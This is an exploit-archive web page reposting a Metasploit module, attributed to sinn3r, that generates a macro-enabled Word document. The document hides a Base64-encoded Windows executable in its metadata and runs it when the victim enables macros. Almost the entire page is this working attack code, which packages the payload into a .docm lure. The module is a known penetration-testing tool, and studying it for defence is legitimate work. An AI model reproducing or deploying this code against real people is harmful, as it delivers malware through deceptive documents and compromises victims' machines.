首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Office Word Malicious Macro Execution
来源:metasploit.com 作者:sinn3r 发布时间:2017-02-10  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Microsoft Office Word Malicious Macro Execution",
      'Description'    => %q{
        This module generates a macro-enabled Microsoft Office Word document. The comments
        metadata in the data is injected with a Base64 encoded payload, which will be
        decoded by the macro and execute as a Windows executable.

        For a successful attack, the victim is required to manually enable macro execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r' # Metasploit
        ],
      'References'     =>
        [
          ['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Microsoft Office Word', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jan 10 2012",
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new("BODY", [false, 'The message for the document body', '']),
      OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
    ], self.class)
  end


  def on_file_read(short_fname, full_fname)
    buf = File.read(full_fname)

    case short_fname
    when /document\.xml/
      buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
    when /core\.xml/
      b64_payload = ' ' * 55
      b64_payload << Rex::Text.encode_base64(generate_payload_exe)
      buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
    end

    # The original filename of __rels is actually ".rels".
    # But for some reason if that's our original filename, it won't be included
    # in the archive. So this hacks around that.
    case short_fname
    when /__rels/
      short_fname.gsub!(/\_\_rels/, '.rels')
    end

    yield short_fname, buf
  end


  def package_docm(path)
    zip = Rex::Zip::Archive.new

    Dir["#{path}/**/**"].each do |file|
      p = file.sub(path+'/','')

      if File.directory?(file)
        print_status("Packaging directory: #{file}")
        zip.add_file(p)
      else
        on_file_read(p, file) do |fname, buf|
          print_status("Packaging file: #{fname}")
          zip.add_file(fname, buf)
        end
      end
    end

    zip.pack
  end


  def exploit
    print_status('Generating our docm file...')
    path  = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
    docm = package_docm(path)
    file_create(docm)
    super
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GNU / Bash v4.4 autocompletion
·Apache OpenOffice Text Documen
·Zoom Player 12.7 / 13 Buffer O
·HP Smart Storage Administrator
·Zookeeper 3.5.2 - Denial of Se
·Tor Browser 6.0.5 remote Denia
·OpenBSD HTTPd < 6.0 - Memory E
·ShadeYouVPN Client 2.0.1.11 -
·IVPN Client 2.6.1 - Privilege
·Linux Kernel 3.10.0 (CentOS7)
·Debian 9 ntfs-3g - Privilege E
·Microsoft Edge - TypedArray.so
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved